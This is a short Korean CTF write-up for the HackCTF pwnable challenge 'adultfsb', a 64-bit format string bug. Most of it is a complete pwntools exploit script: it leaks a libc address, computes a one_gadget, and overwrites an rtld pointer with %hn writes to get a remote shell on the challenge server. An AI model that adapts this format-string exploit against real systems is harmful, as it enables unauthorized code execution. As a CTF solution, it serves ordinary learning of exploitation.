WAR GAME/HackCTF

[HackCTF : Pwnable] adultfsb 풀이 (64bit, FSB)

jir4vvit 2021. 4. 26. 16:06

문제 풀이 환경 : ubuntu 16.04
사용 툴 : IDA 7.5 pro

풀렐로일땐 rtld!


보호 기법

카나리도 없고 풀렐로이다.  (got overwriting을 못한다.)

main

fsb는 터지지만 bof는 터지지 않는다.

하지만 fsb로 모든게 해결이 가능하다. 

두 번 터져서 넘 좋다.

Summary

  1. libc leak
  2. rtld를 one_gadget으로 overwriting
from pwn import *

#p = process('./adult_fsb')
p = remote('ctf.j0n9hyun.xyz', 3040)
e = ELF('./adult_fsb')
libc = ELF('./libc.so.6')

rtld_offset = 0x5f0f48
one_gadget_offset = 0xf1147

# offset 8
payload = '%49$p'
#pause()
p.send(payload)

p.recvuntil('0x')
leak = int(p.recv(12), 16)


libc_base = leak - libc.symbols['__libc_start_main'] - 240
rtld = libc_base + rtld_offset

log.info('libc_base : '+hex(libc_base))
log.info('rtld : '+hex(rtld))

one_gadget = libc_base + one_gadget_offset
log.info('one_gadget : '+hex(one_gadget))
low = one_gadget & 0xffff
middle = (one_gadget >> 16) & 0xffff
high = (one_gadget >> 32) & 0xffff

l = low

if middle > low:
    m = middle - low
else:
    m = 0x10000 + middle - low

if high > middle:
    h = high - middle
else:
    h = 0x10000 + high - middle

# rtld -> onegadget
payload = ''
payload += '%{}c'.format(l)
payload += '%13$hn'
payload += '%{}c'.format(m)
payload += '%14$hn'
payload += '%{}c'.format(h)
payload += '%15$hn'
payload += 'A' * (8 - len(payload)%8)
print len(payload)
payload += p64(rtld)
payload += p64(rtld + 2)
payload += p64(rtld + 4)

pause()
p.send(payload)


p.interactive()